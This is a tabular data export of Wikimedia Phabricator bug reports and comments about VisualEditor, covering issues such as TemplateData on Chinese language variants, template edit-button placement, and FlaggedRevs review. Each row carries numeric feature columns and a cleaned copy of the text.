241964,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,confirmed on Arch linux with FF 22.,,,1373233082,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,confirmed on Arch linux with FF 22.
52902,VisualEditor: Add tooltip to byte count of save dialog explaining what it's for,"The character counter of the save dialog should have a tooltip/title explaining what the counter refers entails.

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1373232060,1392253795.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-kt3assypvj632tuitmf6,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.447368421052632,0.7105263157894737,"The character counter of the save dialog should have a tooltip/title explaining what the counter refers entails.

--------------------------
**Version**: unspecified
**Severity**: trivial"
241875,VisualEditor: Add tooltip to byte count of save dialog explaining what it's for,"Change 112318 had a related patch set uploaded by Alex Monk:
Explain what the number on the edit summary screen means

https://gerrit.wikimedia.org/r/112318",,,1391915675,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kt3assypvj632tuitmf6,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,20.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.4,0.96,"Change 112318 had a related patch set uploaded by Alex Monk:
Explain what the number on the edit summary screen means

GERRIT_URL"
52888,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"screenshot of the dialogue

I added TemplateData to Template:X1 (this is a sandbox)
Then, I go to my personal sandbox User:Waihorace/sandbox/VE to try adding Template X1 to that page.
I pressed the button that allow me to add template (don't know its exact English wording)
It prompt me to enter a template name, so I typed in X1
Then, it comes out that the description is not shown, parma names are not shown, but the list of parma is given for me to choose.

Why the description and the name and description of the parma is not shown, while https://zh.wikipedia.org/w/api.php?action=templatedata&titles=Template:X1&format=jsonfm works?

( X1 is a template which will be cleared by a bot automatically. To reproduce, check if the content is still there or otherwise revent back to oldid=27156695 )

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50431

**Attached**: {F11387}",High,80.0,1373206260,1383257477.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,False,PHID-TASK-vgr63prhj7eik7b2qkwd,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,2.5,2.0,2.0,1.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,4.0,0.0,7.0,9.5,0.0,2.5,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,6.5,3.0,1.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.5,0.0,13.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,14.0,2.0,2.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,5.5,9.5,4.5,0.5,0.0,0.0,5.5,0.0,1.5,2.0,1.5,0.5,0.0,0.0,0.5,3.5377272727272726,0.623030303030303,"screenshot of the dialogue

I added TemplateData to Template:X1 (this is a sandbox)
Then, I go to my personal sandbox User:Waihorace/sandbox/VE to try adding Template X1 to that page.
I pressed the button that allow me to add template (don't know its exact English wording)
It prompt me to enter a template name, so I typed in X1
Then, it comes out that the description is not shown, parma names are not shown, but the list of parma is given for me to choose.

Why the description and the name and description of the parma is not shown, while URL works?

( X1 is a template which will be cleared by a bot automatically. To reproduce, check if the content is still there or otherwise revent back to oldid=27156695 )

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11387}"
241042,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"Change 92826 merged by jenkins-bot:
dm.MWTemplateSpecModel: Resolve translations through the TemplateData API

https://gerrit.wikimedia.org/r/92826",,,1383255765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.285714285714286,0.9523809523809523,"Change 92826 merged by jenkins-bot:
dm.MWTemplateSpecModel: Resolve translations through the TemplateData API

GERRIT_URL"
241038,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"Change 92826 had a related patch set uploaded by Krinkle:
dm.MWTemplateSpecModel: Resolve translations through the TemplateData API

https://gerrit.wikimedia.org/r/92826",,,1383180900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.9583333333333334,"Change 92826 had a related patch set uploaded by Krinkle:
dm.MWTemplateSpecModel: Resolve translations through the TemplateData API

GERRIT_URL"
241034,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"(In reply to comment #1)
> Created attachment 12774 [details]
> API response
> 
> To make it easier, after I restored your edit at
> https://zh.wikipedia.org/w/index.php?diff=27157124
> the content of
> https://zh.wikipedia.org/w/api.php?action=templatedata&titles=Template:
> X1&format=jsonfm
> was like in the attached file.
> 
> What was your user language preference when you tested this?
> 
> Does the problem happens on both of the following URLs?
> https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/
> VE?veaction=edit&uselang=zh
> https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/
> VE?veaction=edit&uselang=en
> 
> For me the bug only happens in the second one, and I think this is the same
> as
> bug 50431.

The bug only happens in the second one. 
I think the problem that I reported comes out because of the language conversion of Chinese Wikipedia. 

The TemplateData only works on zh, but not any variant of Chinese (e.g. zh-hans, zh-hant, zh-tw, zh-cn, zh-hk, zh-sg, zh-mo). Should the data in zh be applied in those 7 variants, or otherwise, editors need to set the description for every variants which is time-wasting.

**Attached**: {F11388}",,,1373209810,,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,0.5,0.5,1.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,1.0,0.0,1.0,0.0,3.0,7.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,1.0,17.0,0.5,1.0,6.0,0.0,0.0,0.0,0.5,1.5,0.0,1.5,0.0,1.5,7.0,19.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1646341463414633,0.524390243902439,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The bug only happens in the second one. 
I think the problem that I reported comes out because of the language conversion of Chinese Wikipedia. 

The TemplateData only works on zh, but not any variant of Chinese (e.g. zh-hans, zh-hant, zh-tw, zh-cn, zh-hk, zh-sg, zh-mo). Should the data in zh be applied in those 7 variants, or otherwise, editors need to set the description for every variants which is time-wasting.

**Attached**: {F11388}"
241029,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"Created attachment 12774
API response

To make it easier, after I restored your edit at
https://zh.wikipedia.org/w/index.php?diff=27157124
the content of
https://zh.wikipedia.org/w/api.php?action=templatedata&titles=Template:X1&format=jsonfm
was like in the attached file.

What was your user language preference when you tested this?

Does the problem happens on both of the following URLs?
https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/VE?veaction=edit&uselang=zh
https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/VE?veaction=edit&uselang=en

For me the bug only happens in the second one, and I think this is the same as bug 50431.

**Attached**: {F11388}",,,1373208580,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,11.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,3.0,16.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,7.0,11.0,4.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,3.431578947368421,0.6526315789473685,"Created attachment 12774
API response

To make it easier, after I restored your edit at
URL
the content of
URL
was like in the attached file.

What was your user language preference when you tested this?

Does the problem happens on both of the following URLs?
URL
URL

For me the bug only happens in the second one, and I think this is the same as bug 50431.

**Attached**: {F11388}"
52854,VisualEditor: Display the contextual menu for templates much more visibly,"I've noticed a couple of times that users on VE/Feedback have said that they 'couldn't change the block and that it became blue', which I think is an indication they were unable to spot the template edit button.

Now I noticed that the edit button anchor for templates is always at the top right. On 100% width block elements, the content can often be completely left aligned however, and the button is then to the FAR right of the page, making it easy to miss.

For instance, take the {{Refbegin}}-{{refend} block on this page https://en.wikipedia.org/wiki/Warehouse_control_system?veaction=edit on a fairly large monitor.

It might be nice if we could come up with some idea to more intelligently place the button. if( block && !width && computedWidth > 160em && text_align == left) then align button left


Point 2:
Also, the white button on the blue mask on top of the white page is not the highest contrasting style. Styling it stronger might also make it easier to discover for users.

Point 3:
The puzzle piece in that context doesn't give the user much info. Why not a simple Edit logo ? I think that would be way easier to understand.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373101500,1414104265.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-he62ku3noedhtzp55bhf,task_description,resolved,True,c1,3,True,False,False,0,,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,7.333333333333333,2.3333333333333335,0.0,0.0,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,6.333333333333333,9.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,3.3333333333333335,2.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,1.0,13.666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,7.0,2.6666666666666665,7.666666666666667,2.3333333333333335,2.6666666666666665,8.666666666666666,0.0,0.0,0.3333333333333333,0.0,5.0,0.0,1.0,0.0,4.0,9.666666666666666,4.0,0.3333333333333333,0.6666666666666666,0.0,4.0,0.0,0.6666666666666666,1.3333333333333333,0.0,1.0,1.3333333333333333,0.3333333333333333,0.0,3.7209302325581395,0.7209302325581395,"I've noticed a couple of times that users on VE/Feedback have said that they 'couldn't change the block and that it became blue', which I think is an indication they were unable to spot the template edit button.

Now I noticed that the edit button anchor for templates is always at the top right. On 100% width block elements, the content can often be completely left aligned however, and the button is then to the FAR right of the page, making it easy to miss.

For instance, take the {{Refbegin}}-{{refend} block on this page URL on a fairly large monitor.

It might be nice if we could come up with some idea to more intelligently place the button. if( block && !width && computedWidth > 160em && text_align == left) then align button left


Point 2:
Also, the white button on the blue mask on top of the white page is not the highest contrasting style. Styling it stronger might also make it easier to discover for users.

Point 3:
The puzzle piece in that context doesn't give the user much info. Why not a simple Edit logo ? I think that would be way easier to understand.

--------------------------
**Version**: unspecified
**Severity**: normal"
239068,VisualEditor: Display the contextual menu for templates much more visibly,Confirmed the fix in production - the templates' contextual menu is displayed either on the far right of the screen or at the middle as for 'Cite web' template.,,,1415382971,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-he62ku3noedhtzp55bhf,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,6.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8181818181818182,Confirmed the fix in production - the templates' contextual menu is displayed either on the far right of the screen or at the middle as for 'Cite web' template.
239065,VisualEditor: Display the contextual menu for templates much more visibly,"Sorry for having not responded on this ticket; we fixed this ages ago with the new contextual menu. There are still some issues with the context appearing off-screen if the template is taller than your screen and you're down-page of it, but that is covered by different bugs.",,,1414104265,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-he62ku3noedhtzp55bhf,task_subcomment,,True,c1,3,True,,,68,,2.0,0.0,0.0,2.0,2.0,9.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,18.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,4.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.8596491228070176,"Sorry for having not responded on this ticket; we fixed this ages ago with the new contextual menu. There are still some issues with the context appearing off-screen if the template is taller than your screen and you're down-page of it, but that is covered by different bugs."
239061,VisualEditor: Display the contextual menu for templates much more visibly,"Screenshot of cs.wp Křivá Ves shows the wrong possition of edit button.

I agree. Look at https://cs.wikipedia.org/wiki/Křivá_Ves. If you want to edit the infobox, the key/edit button goes completly to right, where you might not notice it.

**Attached**: {F11331}",,,1378792955,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-he62ku3noedhtzp55bhf,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,16.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,11.0,13.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.7272727272727273,"Screenshot of cs.wp Křivá Ves shows the wrong possition of edit button.

I agree. Look at URL If you want to edit the infobox, the key/edit button goes completly to right, where you might not notice it.

**Attached**: {F11331}"
52852,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"I deliberately edited [[Roller coaster]], an article under Pending Changes that had an unreviewed change, using my administrator account, using VisualEditor. When editing source, there would be an edit notice advising of the pending change, which is not present with VisualEditor. Nonetheless, edits by an administrator account are supposed to be automatically accepted.  Instead, my edit was made subject to review. See screenshot at http://commons.wikimedia.org/wiki/File:CoasterCrop.png.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49699",High,80.0,1373091660,1373145698.0,PHID-USER-yif6nz5uhka5cnltixpc,False,,False,PHID-TASK-ofaluihol767l3yg5fjw,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,3.0,0.5,4.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,2.0,0.0,5.0,5.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,4.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,11.5,0.5,0.0,3.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,1.5,2.5,0.0,2.5,0.0,0.0,1.0,4.234511784511785,0.6966329966329967,"I deliberately edited [[Roller coaster]], an article under Pending Changes that had an unreviewed change, using my administrator account, using VisualEditor. When editing source, there would be an edit notice advising of the pending change, which is not present with VisualEditor. Nonetheless, edits by an administrator account are supposed to be automatically accepted.  Instead, my edit was made subject to review. See screenshot at URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
238984,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"I mis-understood the bug as reported; my apologies. It is in fact entirely a duplicate of bug 49699. Marking as such.

*** This bug has been marked as a duplicate of bug 49699 ***",,,1373145698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ofaluihol767l3yg5fjw,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.2666666666666666,0.6444444444444445,"I mis-understood the bug as reported; my apologies. It is in fact entirely a duplicate of bug 49699. Marking as such.

*** This bug has been marked as a duplicate of bug 49699 ***"
238976,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"Isn't this just how FlaggedRevs (this is a different name for the same thing AFAIK) work? Edits by reviewers are only autoflagged if the previous revision was flagged as well.

Unless I'm misunderstanding something, the bug as described by the current summary (""VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled"") would be a blocker to deployment on Wikipedia using FlaggedRevs for all articles, like the Polish Wikipedia. However it seemed to behave corrently in my testing there.",,,1373145158,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ofaluihol767l3yg5fjw,task_subcomment,,True,c1,3,True,,,0,,1.0,0.5,0.0,0.5,1.5,4.5,2.5,0.0,0.0,1.0,3.0,1.0,0.0,0.5,0.0,1.5,0.5,7.0,13.0,0.5,1.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,11.0,1.5,0.0,6.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.5,13.0,7.0,0.5,1.5,0.0,2.5,0.0,0.5,1.5,0.0,1.5,0.0,0.0,0.0,4.468137254901961,0.873868778280543,"Isn't this just how FlaggedRevs (this is a different name for the same thing AFAIK) work? Edits by reviewers are only autoflagged if the previous revision was flagged as well.

Unless I'm misunderstanding something, the bug as described by the current summary (""VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled"") would be a blocker to deployment on Wikipedia using FlaggedRevs for all articles, like the Polish Wikipedia. However it seemed to behave corrently in my testing there."
238967,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"Expanding on the above, when editing a PendingChanges article with actively pending changes using source code, admins/reviewers must either accept or revert the outstanding PCs before their own edit is saved. This is not happening under VisualEditor.",,,1373093279,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-ofaluihol767l3yg5fjw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,12.0,0.0,0.0,0.0,4.976744186046512,0.9069767441860465,"Expanding on the above, when editing a PendingChanges article with actively pending changes using source code, admins/reviewers must either accept or revert the outstanding PCs before their own edit is saved. This is not happening under VisualEditor."
52850,VisualEditor: Inspecting image immediately after inserting it causes exception,"1. Put the cursor in the middle of a paragraph
2. Insert an image
3. The inserted image is now selected, and displays an inspector button
4. Click the inspector button
5. You get an empty image dialog and an exception because getFocusableNode() returned null

It seems this happens because the post-insertion selection in step 3 covers something like </p><img></img><p> rather than just the image.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373080620,1377894433.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-4v36rjb5p4c3fhjflpoq,task_description,invalid,True,c1,3,False,False,True,0,,0.0,1.0,0.0,0.5,0.0,5.5,0.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,0.5,5.5,2.0,1.0,7.5,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.5,6.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,4.0,4.064509803921569,0.7133333333333334,"1. Put the cursor in the middle of a paragraph
2. Insert an image
3. The inserted image is now selected, and displays an inspector button
4. Click the inspector button
5. You get an empty image dialog and an exception because getFocusableNode() returned null

It seems this happens because the post-insertion selection in step 3 covers something like </p><img></img><p> rather than just the image.

--------------------------
**Version**: unspecified
**Severity**: normal"
238865,VisualEditor: Inspecting image immediately after inserting it causes exception,This is now INVALID because we don't select the node after insertion any more (should we?).,,,1377894433,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4v36rjb5p4c3fhjflpoq,task_subcomment,,True,c1,3,True,,,8,,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,14.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.619047619047619,0.9523809523809523,This is now INVALID because we don't select the node after insertion any more (should we?).
